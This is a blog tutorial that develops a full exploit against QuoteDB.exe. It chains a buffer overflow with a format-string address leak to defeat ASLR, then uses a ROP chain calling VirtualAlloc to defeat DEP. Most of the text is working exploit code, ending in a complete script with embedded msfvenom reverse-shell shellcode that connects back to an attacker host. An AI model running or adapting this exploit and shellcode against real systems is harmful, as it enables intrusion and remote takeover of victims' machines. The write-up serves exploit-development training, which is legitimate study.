ASLR and DEP bypass using VirtualAlloc

January 31, 2025

In this blog, we develop an exploit against QuoteDB.exe that bypasses Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) using VirtualAlloc. The approach involves identifying a buffer overflow, leaking memory addresses through a format string vulnerability and constructing a Return-Oriented Programming (ROP) chain.

Identifying the Buffer Overflow

Binary Information

Loaded With ASLR on as seen with narly. This means we need to find a information leak. This is needed to leak an address so we're able to calculate the offsets of the base address and the gadgets in these executable and possible dll's.

narly.png

To start, we verify that the application is vulnerable to buffer overflow by sending a large payload.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 3700
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 4000  
payload = b"A"*CRASH_LEN

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    resp = sock.recv(512)
    print(resp)
sock.close()

This results in a crash, confirming the vulnerability.

image.png

Do a pattern create and find the offset

To find the offset where EIP is overwritten, we generate a unique pattern and locate the crash point.

msf-pattern_create -l 3000

After we've send this large buffer we're able to see that the offset is 2064

import struct
import socket

TARGET_IP = "192.168.120.169"
TARGET_PORT = 3700
target = (TARGET_IP, TARGET_PORT)

OFFSET = 2064

CRASH_LEN = 4000 

offset = b"A" * 2064
eip = b"B" * 4

padding = b"C" * (CRASH_LEN - len(offset + eip))

payload = offset + eip + padding

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    resp = sock.recv(512)
    print(resp)
sock.close()

Finding an information leak

To bypass ASLR, we find a format string vulnerability and leak memory addresses. We see that we are able to pass an opcode that will get a quote if the value is between 1 and the num of the latest quote. This starts with 0 - 9

opcode = pack(">I", 0x385) #901 in hex
opcode += pack(">I", 0x01)

image.png

Set a breakpoint and check

image.png

image.png

quotelisten.png

quoteoutput.png

Format String Leak

If the specify the opcode 902 || 0x386 we're able to add a new quote. In this case we'll add a new quote with only format strings.

image.png

This triggers add_quote

image.png

formatstring = pack("<i", 0x386) # opcode 902
formatstring += b"%x " * 30

with socket.create_connection(target) as sock:
    sent= sock.send(formatstring)
    resp= sock.recv(4096)
    print(resp)
sock.close()

Now we create a new quote

formatstring.png

Get the quote

Normally when we want to get the quote we can check these with the opcode 901

We could do this with using opcode 0x385 and then specify the number 0-9

We've just add a quote so now we get the 0x0a quote instead of the before last quote 0x09

image206.png

opcode = pack("<i", 0x385)
opcode += pack("<i", 0x0a)

with socket.create_connection(target) as sock:
    sent= sock.send(opcode)
    resp= sock.recv(4096)
    print(resp)
sock.close()

Parsing the response

First strip it and then put it it in a array to pick values easily.

with socket.create_connection(target) as sock:
    sent = sock.send(opcode)
    response = sock.recv(4096)
    print(response)
    hex_values = response.decode().strip().split()[:8]

    # Convert each hex value to an integer
    parsed_values = [int(value, 16) for value in hex_values]
    print(parsed_values)

image.png

Find the base address

We've got a couple of addresses in the response that look interesting. Let's check with Windbg where those addresses resides.

Address 1 (msvcrt)

  • 76636bc0

image.png

? msvcrt_leak - base_of_msvcrt

Is in this case

msvcrt_base = parsed_values[0] - 420800  
print(f"the msvcrt_base = {hex(msvcrt_base)}")

Address 2 (base)

Do the same for the base address which is the 2nd value (count from 0)

0x61173b

parsing.png

image.png

So offset to base is - 5947

base = parsed_values[2] - 5947  
print(f"The base value = {hex(base)}")

Badchars

When searching for badchars we've noticed we could use any badchar; even nullbytes. In this example exploit we keep it as simple as possible. Check my other blog about exploiting through WriteProcessMemory, were I show how to patch addresses with nullbytes or other badcharacters in it.

Rp++

Through RP++ we're able to extract gadgets from the msvcrt.dll and main.exe which we could use to make our ropchain.

IAT (VirtualAlloc)

image.png

Has the offset of 0x3A1A8 from the base (main.exe)

image.png

image.png

rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address

Patching VirtualAlloc

VirtualAlloc is a function in the Windows API that allocates memory in the virtual address space of a process. It is a very flexible function that allows an attacker (or legitimate code) to request memory with specific properties. Here's what it does, step by step:

  • Allocates memory: It reserves or commits a block of memory of the size you specify.
  • Sets permissions: It assigns specific access permissions to that memory (e.g., readable, writable, executable).
  • Returns a pointer: The function returns a pointer to the beginning of the allocated memory block.

We have to patch the following parameters as read in the Microsoft Docs

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

Sending a placeholder

rop += pack("<L", 0x69696969)      # VirtualAllocStub placeholder address
rop += pack("<L", 0x55555555)      # shellcode return address to return to after VirtualAlloc is called
rop += pack("<L", 0x44444444)      # lpAddress (shellcode address)
rop += pack("<L", 0x33333333)      # dwSize (0x1)
rop += pack("<L", 0x22222222)      # flAllocationType (0x1000)
rop += pack("<L", 0x11111111)      # flProtect (0x40)

Exploiting Through the Ropchain

Before we start building our ropchain we need to copy the location of ESP (stack pointer) to another register so we can increment or decrement our position to patch the placeholders. Fg: we start of by patching the first argument 0x69696969 which after the first part need to contain the dereferenced address of VirtualAlloc. After we've done this we jump over the placeholder.

rop = pack("<L", base + 0x025c0)  # xor eax, eax; ret; ; main.exe
rop += pack("<L", base + 0x01e69) # or eax, esp; ret
rop += pack("<L", base + 0x02781) # add esp, 0x1c; ret; ; main.exe

1. VirtualAlloc

We've put the hex value 0x69696969 as a placeholder to patch. We are able to do two thing:

  • Dereference the IAT to get the real value on the stack
  • Through an address leaked in Kernel32 calculate the offset and use that one. (If this is the case you could hardcode it instead of pushing dummy value.)
rop += pack("<L", msvcrt_base + 0x17926)  # xchg ebx, eax; ret;  :: msvcrt.dll
rop += pack("<L", base + 0x02b38)         # pop ecx; ret;  :: main.exe
rop += pack("<L", base + 0x3a1a8)         # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e)  # mov eax, dword ptr [ecx]; add cl, cl; ret;  :: msvcrt.dll
rop += pack("<L", base + 0x01e7a)         # mov dword ptr [ebx], eax; ret;  :: main.exe

Then go further to the placeholder we need to patch

rop += pack("<L", msvcrt_base + 0x17926)  # xchg ebx, eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll

2. Return Address

This is the value where the code will return after the VirtualAlloc function is done. We will use the same address of the next value (lpAddress).

rop += pack("<L", msvcrt_base + 0x47d5d)   # mov ecx, eax; mov eax, esi; pop esi; ret 0x10;  msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22)   # pop eax; ret;  :: msvcrt.dll
rop += pack("<L", 0xffffff08)              # - 248 
rop += pack("<L", msvcrt_base + 0x2fa2e)   # neg eax; pop ebp; ret;  :: msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2)   # add eax, ecx; pop esi; pop ebp; ret 
rop += pack("<L", 0x41414141)              # filler pop esi
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac)   # mov dword ptr [ecx], eax; pop esi; pop ebp; ret; 
rop += pack("<L", 0x43434343)              # filler pop esi
rop += pack("<L", 0x43434343)              # filler pop ebp

We've used an ropnop this is an gadget I place after an ret 0x10 gadget for example. This is to not mess up the ropchain. This is just a simple:

ropnop = pack("<L", base + 0x01289)  # ret;

3. lpAddress

This is the same value as the return address. We will calculate after we're done with our ropchain how far this is from this address, so our shellcode will execute.

rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3aa22)   # pop eax; ret;  :: msvcrt.dll
rop += pack("<L", 0xffffff0c)              # - 244
rop += pack("<L", msvcrt_base + 0x2fa2e)   # neg eax; pop ebp; ret;  :: msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2)   # add eax, ecx; pop esi; pop ebp; ret 
rop += pack("<L", 0x41414141)              # filler pop esi
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac)   # mov dword ptr [ecx], eax; pop esi; pop ebp; ret; 
rop += pack("<L", 0x43434343)              # filler pop esi
rop += pack("<L", 0x43434343)              # filler pop ebp

When calculating the offset between the placeholder and where the nopslide starts. Start with inserting a dummy value, when your done you can calculate the exact offset and replace it easily.

💡 For the sake of this example we just use the value with nullbytes because we're able to push nullbytes. If this isn't the case, you just patch the values the same way as we did. In the other blog with WriteProcessMemory we'll show how to do this when an program doesn't accept nullbytes.

4. dwSize (0x1)

Windows allocates memory in blocks of at least one page (commonly 0x1000 bytes).

Even though dwSize is set to 0x1, the system will round up to allocate an entire page (0x1000 bytes by default).

5. flAllocationType (0x1000)

This specifies the type of memory allocation. The value 0x1000 corresponds to the MEM_COMMIT flag in the Windows API. It allocates physical memory for the requested region. Without this, the memory would only be reserved but not usable.

6. flProtect (0x40)

This specifies the memory protection settings for the allocated region. The value 0x40 corresponds to the PAGE_EXECUTE_READWRITE flag in the Windows API.

This allows the memory to be:

  1. Readable: So the program (or ROP chain) can inspect or access the memory.
  2. Writable: So the shellcode or payload can be copied into the allocated region.
  3. Executable: So the shellcode can be executed directly from this region.

image.png

Full Exploit Code

from struct import pack, unpack
import socket

TARGET_IP = "192.168.120.178"
TARGET_PORT = 3700
OFFSET = 2064
CRASH_LEN = 4000
target = (TARGET_IP, TARGET_PORT)

# Fase 1: Add a new quote which is a format string
formatstring = pack("<i", 0x386)
formatstring += b"%x " * 30
with socket.create_connection(target) as sock:
    sent= sock.send(formatstring)
sock.close()

# Fase 2: Get the string which is the 10th quote and parse the leak
opcode= pack("<i", 0x385)
opcode = pack("<i", 0x0a)
with socket.create_connection(target) as sock:
    sent= sock.send(opcode)
    response= sock.recv(4096)
    print(response)
    hex_values= response.decode().strip().split()[:8]

    # Convert each hex value to an integer
    parsed_values= [int(value, 16) for value in hex_values]
    print(parsed_values)
    base= parsed_values[2] - 5947  
    print(f"The base value = {hex(base)}")
    msvcrt_base= parsed_values[0] - 420800  
    print(f"the msvcrt_base = {hex(msvcrt_base)}")
sock.close()

#ropnop
ropnop= pack("<L", base + 0x01289)  # ret; )

# Fase 3: Ropchain
offset= b"A" * 2064

# Copy esp into another register 
rop= pack("<L", base + 0x025c0)  # xor eax, eax; ret;  :: main.exe
rop += pack("<L", base + 0x01e69) # or eax, esp; ret
rop += pack("<L", base + 0x02781) # add esp, 0x1c; ret; ; main.exe

# Dummy Values
rop += pack("<L", 0x69696969)      # VirtualAllocStub address
rop += pack("<L", 0x55555555)      # shellcode return address to return to after VirtualAlloc is called
rop += pack("<L", 0x44444444)      # lpAddress (shellcode address)
rop += pack("<L", 0x01)            # dwSize (0x1)
rop += pack("<L", 0x1000)          # flAllocationType (0x1000)
rop += pack("<L", 0x40)            # flProtect (0x40)

rop += pack("<L", 0x90909090)             # padding for add esp
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll

# Patching VirtualAlloc
rop += pack("<L", msvcrt_base + 0x17926)  # xchg ebx, eax; ret;  :: msvcrt.dll
rop += pack("<L", base + 0x02b38)         # pop ecx; ret;  :: main.exe
rop += pack("<L", base + 0x3a1a8)         # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e)  # mov eax, dword ptr [ecx]; add cl, cl; ret;  :: msvcrt.dll
rop += pack("<L", base + 0x01e7a)         # mov dword ptr [ebx], eax; ret;  :: main.exe

rop += pack("<L", msvcrt_base + 0x17926)  # xchg ebx, eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802)  # inc eax; ret;  :: msvcrt.dll

# Patching return address
rop += pack("<L", msvcrt_base + 0x47d5d)   # mov ecx, eax; mov eax, esi; pop esi; ret 0x10;  msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22)   # pop eax; ret;  :: msvcrt.dll
rop += pack("<L", 0xffffff08)              # - 248 
rop += pack("<L", msvcrt_base + 0x2fa2e)   # neg eax; pop ebp; ret;  :: msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2)   # add eax, ecx; pop esi; pop ebp; ret 
rop += pack("<L", 0x41414141)              # filler pop esi
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac)   # mov dword ptr [ecx], eax; pop esi; pop ebp; ret; 
rop += pack("<L", 0x43434343)              # filler pop esi
rop += pack("<L", 0x43434343)              # filler pop ebp

# Patching shellcode address (lpAddress)
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778)   # inc ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3aa22)   # pop eax; ret;  :: msvcrt.dll
rop += pack("<L", 0xffffff0c)              # - 244
rop += pack("<L", msvcrt_base + 0x2fa2e)   # neg eax; pop ebp; ret;  :: msvcrt.dll
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2)   # add eax, ecx; pop esi; pop ebp; ret 
rop += pack("<L", 0x41414141)              # filler pop esi
rop += pack("<L", 0x41414141)              # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac)   # mov dword ptr [ecx], eax; pop esi; pop ebp; ret; 
rop += pack("<L", 0x43434343)              # filler pop esi
rop += pack("<L", 0x43434343)              # filler pop ebp

# Get back to the start 
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe
rop += pack("<L", base + 0x01e78)  # dec ecx; ret;  :: main.exe

# esp to eip
rop += pack("<L", msvcrt_base + 0x3b81a)  # mov eax, ecx; ret;  :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x0fad5)  # xchg esp, eax; ret;  :: msvcrt.dll

nopslide= b"\x90" * 100

# msfvenom -p 'windows/shell_reverse_tcp' LHOST=192.168.50.149 LPORT=443 –e x86/shikata_ga_nai EXITFUNC=thread -f 'python' --bad-chars "\x00" -v shellcodes
shellcode=  b""
shellcode += b"\xdb\xcf\xbb\x1c\xa7\x7c\xe9\xd9\x74\x24\xf4"
shellcode += b"\x5d\x31\xc9\xb1\x52\x31\x5d\x17\x03\x5d\x17"
shellcode += b"\x83\xd9\xa3\x9e\x1c\x1d\x43\xdc\xdf\xdd\x94"
shellcode += b"\x81\x56\x38\xa5\x81\x0d\x49\x96\x31\x45\x1f"
shellcode += b"\x1b\xb9\x0b\x8b\xa8\xcf\x83\xbc\x19\x65\xf2"
shellcode += b"\xf3\x9a\xd6\xc6\x92\x18\x25\x1b\x74\x20\xe6"
shellcode += b"\x6e\x75\x65\x1b\x82\x27\x3e\x57\x31\xd7\x4b"
shellcode += b"\x2d\x8a\x5c\x07\xa3\x8a\x81\xd0\xc2\xbb\x14"
shellcode += b"\x6a\x9d\x1b\x97\xbf\x95\x15\x8f\xdc\x90\xec"
shellcode += b"\x24\x16\x6e\xef\xec\x66\x8f\x5c\xd1\x46\x62"
shellcode += b"\x9c\x16\x60\x9d\xeb\x6e\x92\x20\xec\xb5\xe8"
shellcode += b"\xfe\x79\x2d\x4a\x74\xd9\x89\x6a\x59\xbc\x5a"
shellcode += b"\x60\x16\xca\x04\x65\xa9\x1f\x3f\x91\x22\x9e"
shellcode += b"\xef\x13\x70\x85\x2b\x7f\x22\xa4\x6a\x25\x85"
shellcode += b"\xd9\x6c\x86\x7a\x7c\xe7\x2b\x6e\x0d\xaa\x23"
shellcode += b"\x43\x3c\x54\xb4\xcb\x37\x27\x86\x54\xec\xaf"
shellcode += b"\xaa\x1d\x2a\x28\xcc\x37\x8a\xa6\x33\xb8\xeb"
shellcode += b"\xef\xf7\xec\xbb\x87\xde\x8c\x57\x57\xde\x58"
shellcode += b"\xf7\x07\x70\x33\xb8\xf7\x30\xe3\x50\x1d\xbf"
shellcode += b"\xdc\x41\x1e\x15\x75\xeb\xe5\xfe\xba\x44\xd7"
shellcode += b"\x6b\x52\x97\x17\x95\x18\x1e\xf1\xff\x4e\x77"
shellcode += b"\xaa\x97\xf7\xd2\x20\x09\xf7\xc8\x4d\x09\x73"
shellcode += b"\xff\xb2\xc4\x74\x8a\xa0\xb1\x74\xc1\x9a\x14"
shellcode += b"\x8a\xff\xb2\xfb\x19\x64\x42\x75\x02\x33\x15"
shellcode += b"\xd2\xf4\x4a\xf3\xce\xaf\xe4\xe1\x12\x29\xce"
shellcode += b"\xa1\xc8\x8a\xd1\x28\x9c\xb7\xf5\x3a\x58\x37"
shellcode += b"\xb2\x6e\x34\x6e\x6c\xd8\xf2\xd8\xde\xb2\xac"
shellcode += b"\xb7\x88\x52\x28\xf4\x0a\x24\x35\xd1\xfc\xc8"
shellcode += b"\x84\x8c\xb8\xf7\x29\x59\x4d\x80\x57\xf9\xb2"
shellcode += b"\x5b\xdc\x19\x51\x49\x29\xb2\xcc\x18\x90\xdf"
shellcode += b"\xee\xf7\xd7\xd9\x6c\xfd\xa7\x1d\x6c\x74\xad"
shellcode += b"\x5a\x2a\x65\xdf\xf3\xdf\x89\x4c\xf3\xf5"

padding= b"C" * (CRASH_LEN - len(offset + rop + nopslide + shellcode))

payload= offset + rop + nopslide + shellcode + padding

with socket.create_connection(target) as sock:
    sent= sock.send(payload)
sock.close()